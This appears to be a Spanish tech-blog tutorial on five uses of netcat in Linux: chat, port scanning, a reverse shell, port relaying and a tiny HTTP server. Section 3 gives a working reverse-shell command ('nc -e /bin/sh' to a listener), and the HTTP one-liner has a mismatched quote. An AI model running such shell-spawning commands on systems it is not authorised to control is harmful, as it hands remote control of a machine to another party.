5 usos simples y fáciles para Netcat en Linux
Netcat es una potente utilidad de red de línea de comandos en Linux que puede enviar y escuchar paquetes TCP y UDP. A diferencia de otras herramientas de red, netcat es extremadamente básico. Sin embargo, su simplicidad también le permite realizar casi cualquier tipo de actividad a través de una red.
Este artículo le mostrará 5 tareas sencillas de red que puede realizar con netcat. Además, este artículo también destacará lo que hace que netcat sea especial y por qué debería incluirlo en su kit de herramientas de Linux.
¿Cómo funciona Netcat y por qué usarlo?
Netcat es una utilidad básica que puede enviar y recibir paquetes de red. Fue lanzado por primera vez en 1995 por un programador seudónimo llamado Hobbit. Desde entonces, netcat ha sido una parte importante de todas las distribuciones de Linux.
Básicamente, netcat funciona enviando solicitudes de red de un host Linux a otro. Esta solicitud de red puede contener cualquier tipo de datos y puede enviarla en cualquier puerto.
Este enfoque significa que netcat puede crear cualquier tipo de conexión de red posible. Por ejemplo, el programa puede crear conexiones TCP directas que puede usar para transferir archivos o crear sesiones de shell inversas .
1. Sesión de chat entre pares
Uno de los usos más básicos de netcat es una simple sesión de chat de igual a igual entre dos máquinas Linux. Este es un método de comunicación que no depende de ningún servidor de terceros para enviar y recibir información.
- Para que esto funcione, debe abrir un puerto entre 49152 y 65536 en su máquina local. Aquí es donde un host remoto podrá conectarse y enviar información arbitraria a su máquina.
sudo ufw allow 50000
- También necesita abrir un puerto diferente en el host remoto para que su máquina le envíe información:
sudo ufw allow 50001
- Ejecutar
netcat
en su máquina con los siguientes argumentos:
nc -lp 50000
Esto abrirá una sesión de netcat que está escuchando activamente datos en el puerto 50000.
- El host remoto ahora puede enviar cualquier dato de texto hacia su máquina local. Por ejemplo, el siguiente comando enviará la entrada estándar del sistema a una máquina remota.
cat - | nc 192.168.122.136 50000
- Para responder al mensaje, el host remoto también necesita ejecutar un demonio de escucha:
nc -lp 50001
- Ahora, también puede enviar un mensaje desde la máquina local al host remoto:
cat - | nc 192.168.122.177 50001
2. Escáner de puertos básico
Un escáner de puertos es una utilidad simple que verifica si se puede acceder a un conjunto de puertos en una máquina desde un host remoto. Esto es muy útil en casos en los que no está seguro de si su sistema tiene abiertos los puertos apropiados.
Para verificar un solo puerto, puede ejecutar nc -v
seguido de la dirección IP y el puerto que desea verificar:
nc -v 192.168.122.177 80
También puede proporcionar un rango de números donde netcat verificará secuencialmente cada número de puerto dentro de ese rango. Por ejemplo, ejecutar el siguiente comando buscará todos los puertos «conocidos» abiertos:
nc -v 192.168.122.177 1-1024
Una de las desventajas de consultar puertos es que genera tráfico de red innecesario. Esto puede ser un problema si está probando una gran variedad de puertos en una red doméstica pequeña.
Para arreglar esto, habilite el modo “Zero I/O” de netcat que no crea ninguna actividad de red en el host remoto:
nc -zv 192.168.122.177 1-1024
3. Concha inversa
Los shells inversos son el pan y la mantequilla de las pruebas de penetración en Linux. Estas son instancias de shell remotas que le permiten controlar un sistema incluso sin puertos de entrada abiertos. Esto hace que los shells inversos sean útiles si necesita acceder a una máquina que no tiene acceso SSH.
- Para crear un shell inverso, debe abrir un demonio de escucha en su máquina local:
nc -lp 50000
- Inicie una conexión netcat en su máquina remota. En este caso, también debe pasar el entorno de shell de la máquina remota:
nc -e /bin/sh 192.168.122.136 50000
- Regrese a su máquina local y ejecute un comando de shell. Por ejemplo, ejecutar
ls
imprimirá el directorio actual del usuario remoto.
ls -la
- Para finalizar la sesión de shell inversa, puede presionar Ctrl+ Cen el demonio de escucha de su máquina local.
4. Retransmisión básica de paquetes
Además de leer y escribir directamente en un flujo de red, también puede usar netcat para redirigir una conexión entrante a cualquier puerto saliente. Esto funciona mediante el encadenamiento de varias sesiones de clientes y escuchas de netcat mediante conductos UNIX.
- Cree una sesión de netcat que escuche en el puerto 50000. Este servirá como puerto de salida para su retransmisión básica:
nc -lv localhost 50000
- Abra una nueva terminal y ejecute el siguiente comando:
nc -lv localhost 50001 | nc localhost 50000
Al hacer esto, se creará un nuevo demonio de escucha en el puerto 50001 y automáticamente redirigirá cualquier paquete en este puerto al puerto 50000.
- Ahora puede enviar datos a su puerto de entrada y netcat redirigirá automáticamente su salida a su puerto de salida.
echo "MakeTechEasier"| nc localhost 50001
- Además de los puertos locales, también puede usar esta función para redirigir cualquier tráfico de red a una máquina diferente. Por ejemplo, el siguiente código envía datos en el puerto 50000 al mismo puerto en un sistema diferente:
nc -lv localhost 50000 | nc 192.168.122.177 50000
5. Servidor HTTP básico
Configurar un servidor HTTP puede ser un proceso complejo incluso si solo desea servir una sola página. En ese sentido, netcat también puede servir como un servidor web estático simple que puede activar en Linux sin instalar ninguna herramienta adicional.
- Cree un archivo de respuesta HTTP básico. El siguiente fragmento de código muestra una página web con un mensaje simple:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!
<!doctype html>
<html>
<body>
<h1>Hello MakeTechEasier!</h1>
</body>
</html>
- Guárdelo como «index.http» en su directorio de inicio.
- Ejecute el siguiente comando:
while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done
Ahora tiene un servidor web en funcionamiento. Puede visitar su página web abriendo un navegador web y yendo a http://localhost:8080.
- Presione Ctrl+ Cen la terminal para salir de la sesión actual del servidor web.
Preguntas frecuentes
No puedo conectarme a una máquina remota usando netcat.
Lo más probable es que este problema se deba a un puerto de firewall bloqueado en la máquina remota. Debe asegurarse de que el puerto que está utilizando en su máquina esté abierto para las conexiones entrantes y salientes. Por ejemplo, debe ejecutar sudo ufw allow 49999
si desea usar el puerto 49999 en la máquina remota.
¿Es posible conectarse a cualquier host usando netcat?
No. Si bien netcat puede leer y escribir en cualquier flujo de red arbitrario, no puede conectarse a una máquina que no sea detectable desde la red de su sistema. Estos incluyen redes privadas que no tienen habilitado el reenvío de puertos, así como sistemas de espacio aéreo que no tienen acceso a la red.
¿Es posible falsificar una conexión en netcat?
No. Esto se debe a que netcat solo puede enviar y recibir paquetes desde una interfaz de red válida. Sin embargo, puede cambiar de dónde proviene ese paquete en particular si tiene varias interfaces de red.
Por ejemplo, puede ejecutar nc -l -s 10.0.0.2 -p 50000
para decirle a netcat que envíe paquetes explícitamente usando la interfaz que tiene la dirección IP «10.0.0.2».
Crédito de la imagen: ThisisEngineering RAEng a través de Unsplash . Todas las alteraciones y capturas de pantalla por Ramces Red.
Deja una respuesta